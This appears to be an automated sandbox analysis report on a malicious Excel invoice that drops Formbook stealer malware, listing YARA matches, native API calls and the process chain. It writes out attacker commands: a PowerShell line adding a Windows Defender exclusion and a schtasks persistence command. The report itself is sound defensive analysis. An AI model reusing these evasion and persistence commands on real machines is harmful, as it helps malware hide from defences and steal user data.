Source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 025CDF5C appears 107 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 02613F92 appears 108 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 0261373B appears 238 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 0263F970 appears 81 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 025CE2A8 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 008D3F92 appears 43 times
Source: C:\Users\Public\vbc.exe Code function: String function: 008D373B appears 81 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0088DF5C appears 54 times
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041A310 NtCreateFile, 9_2_0041A310
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041A3C0 NtReadFile, 9_2_0041A3C0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041A440 NtClose, 9_2_0041A440
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041A4F0 NtAllocateVirtualMemory, 9_2_0041A4F0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041A30C NtCreateFile, 9_2_0041A30C
Source: C:\Users\Public\vbc.exe Code function: 9_2_008800C4 NtCreateFile,LdrInitializeThunk, 9_2_008800C4
Source: C:\Users\Public\vbc.exe Code function: 9_2_00880048 NtProtectVirtualMemory,LdrInitializeThunk, 9_2_00880048
Source: C:\Users\Public\vbc.exe Code function: 9_2_00880078 NtResumeThread,LdrInitializeThunk, 9_2_00880078
Source: C:\Users\Public\vbc.exe Code function: 9_2_008807AC NtCreateMutant,LdrInitializeThunk, 9_2_008807AC
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087F9F0 NtClose,LdrInitializeThunk, 9_2_0087F9F0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087F900 NtReadFile,LdrInitializeThunk, 9_2_0087F900
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 9_2_0087FAD0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FAE8 NtQueryInformationProcess,LdrInitializeThunk, 9_2_0087FAE8
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FBB8 NtQueryInformationToken,LdrInitializeThunk, 9_2_0087FBB8
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FB68 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_0087FB68
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FC90 NtUnmapViewOfSection,LdrInitializeThunk, 9_2_0087FC90
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FC60 NtMapViewOfSection,LdrInitializeThunk, 9_2_0087FC60
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FD8C NtDelayExecution,LdrInitializeThunk, 9_2_0087FD8C
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FDC0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_0087FDC0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FEA0 NtReadVirtualMemory,LdrInitializeThunk, 9_2_0087FEA0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 9_2_0087FED0
Source: C:\Users\Public\vbc.exe Code function: 9_2_0087FFB4 NtCreateSection,LdrInitializeThunk, 9_2_0087FFB4
Source: C:\Users\Public\vbc.exe Code function: 9_2_008810D0 NtOpenProcessToken, 9_2_008810D0
Source: C:\Users\Public\vbc.exe Code function: 9_2_00880060 NtQuerySection, 9_2_00880060
Source: C:\Users\Public\vbc.exe Code function: 9_2_008801D4 NtSetValueKey, 9_2_008801D4
Source: C:\Users\Public\vbc.exe Code function: 9_2_0088010C NtOpenDirectoryObject, 9_2_0088010C
Source: C:\Users\Public\vbc.exe Code function: 9_2_00881148 NtOpenThread, 9_2_00881148
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C0078 NtResumeThread,LdrInitializeThunk, 11_2_025C0078
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C00C4 NtCreateFile,LdrInitializeThunk, 11_2_025C00C4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C07AC NtCreateMutant,LdrInitializeThunk, 11_2_025C07AC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFA50 NtEnumerateValueKey,LdrInitializeThunk, 11_2_025BFA50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 11_2_025BFAD0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFAE8 NtQueryInformationProcess,LdrInitializeThunk, 11_2_025BFAE8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFAB8 NtQueryValueKey,LdrInitializeThunk, 11_2_025BFAB8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFB50 NtCreateKey,LdrInitializeThunk, 11_2_025BFB50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFB68 NtFreeVirtualMemory,LdrInitializeThunk, 11_2_025BFB68
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFBB8 NtQueryInformationToken,LdrInitializeThunk, 11_2_025BFBB8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BF900 NtReadFile,LdrInitializeThunk, 11_2_025BF900
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BF9F0 NtClose,LdrInitializeThunk, 11_2_025BF9F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 11_2_025BFED0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFEA0 NtReadVirtualMemory,LdrInitializeThunk, 11_2_025BFEA0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFFB4 NtCreateSection,LdrInitializeThunk, 11_2_025BFFB4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFC60 NtMapViewOfSection,LdrInitializeThunk, 11_2_025BFC60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFC90 NtUnmapViewOfSection,LdrInitializeThunk, 11_2_025BFC90
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFDC0 NtQuerySystemInformation,LdrInitializeThunk, 11_2_025BFDC0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFD8C NtDelayExecution,LdrInitializeThunk, 11_2_025BFD8C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C0048 NtProtectVirtualMemory, 11_2_025C0048
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C0060 NtQuerySection, 11_2_025C0060
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C10D0 NtOpenProcessToken, 11_2_025C10D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C1148 NtOpenThread, 11_2_025C1148
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C010C NtOpenDirectoryObject, 11_2_025C010C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C01D4 NtSetValueKey, 11_2_025C01D4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFA20 NtQueryInformationFile, 11_2_025BFA20
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFBE8 NtQueryVirtualMemory, 11_2_025BFBE8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BF8CC NtWaitForSingleObject, 11_2_025BF8CC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BF938 NtWriteFile, 11_2_025BF938
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C1930 NtSetContextThread, 11_2_025C1930
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFE24 NtWriteVirtualMemory, 11_2_025BFE24
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFF34 NtQueueApcThread, 11_2_025BFF34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFFFC NtCreateProcessEx, 11_2_025BFFFC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFC48 NtSetInformationFile, 11_2_025BFC48
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C0C40 NtGetContextThread, 11_2_025C0C40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFC30 NtOpenProcess, 11_2_025BFC30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025BFD5C NtEnumerateKey, 11_2_025BFD5C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025C1D80 NtSuspendThread, 11_2_025C1D80
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000DA310 NtCreateFile, 11_2_000DA310
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000DA3C0 NtReadFile, 11_2_000DA3C0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000DA440 NtClose, 11_2_000DA440
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000DA4F0 NtAllocateVirtualMemory, 11_2_000DA4F0
Searches the installation path of Mozilla Firefox
Source: C:\Windows\SysWOW64\mstsc.exe Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory Jump to behavior
Source: vbc[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: dDqpEdJEtzi.exe.4.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$PROFORMA INVOICE.xlsx Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@13/16@3/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: .VBPud<_
Source: PROFORMA INVOICE.xlsx Virustotal: Detection: 35%
Source: PROFORMA INVOICE.xlsx ReversingLabs: Detection: 24%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................#...............(.P.....................X.......:;......................0.......#....................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................#...............(.P.....................X.......U;......................0.......#.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ......................../...............(.P.....................X.......};......................0......./....................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ......................../...............(.P.....................X........;......................0......./.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................;...............(.P.....................X........;......................0.......;...............|....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................;...............(.P.....................X........;......................0.......;.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7........<......................0.......G.........}....."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................G...............(.P.....................X........<......................0.......G.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................S...............(.P.....................X.......F<......................0.......S....................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................S...............(.P.....................X.......c<......................0.......S.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................_.......t.z.i...e.x.e...................X........<......................0......._.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................_...............(.P.....................X........<......................0......._.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................k...............(.P.....................X........<......................0.......k....................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................k...............(.P..............................<......................0.......k.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.........}.....2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................w...............(.P.....................x.......F=......................0.......w.........}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x.......t=......................0.......................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................X........=......................0.................}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................X........=......................0.................}............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................x........=......................0.................}............................. Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Console Write: ................`.......................(.P.............H.......X.......~:................................................................)..... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dDqpEdJEtzi" /XML "C:\Users\user\AppData\Local\Temp\tmp7282.tmp
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dDqpEdJEtzi" /XML "C:\Users\user\AppData\Local\Temp\tmp7282.tmp Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6F84.tmp Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000D33C0 CoInitialize,CoCreateInstance,OleUninitialize, 11_2_000D33C0
Source: C:\Users\Public\vbc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\Public\vbc.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000009.00000003.997655136.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.1070445189.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000003.996323896.0000000000580000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.1070186270.0000000000870000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe
Source: Binary string: mstsc.pdb source: vbc.exe, 00000009.00000002.1070927704.0000000001140000.00000040.10000000.00040000.00000000.sdmp, vbc.exe, 00000009.00000003.1067795163.0000000001140000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000003.1068222397.0000000002C30000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: vbc[1].exe.2.dr, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: vbc.exe.2.dr, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: dDqpEdJEtzi.exe.4.dr, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 4.2.vbc.exe.1260000.1.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 4.0.vbc.exe.1260000.0.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.0.vbc.exe.1260000.6.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.0.vbc.exe.1260000.2.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.2.vbc.exe.1260000.4.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 9.0.vbc.exe.1260000.0.unpack, IceCreamManager/View/MainForm.cs .Net Code: iiiii System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
.NET source code contains method to dynamically call methods (often used by packers)
Source: vbc[1].exe.2.dr, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: vbc.exe.2.dr, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
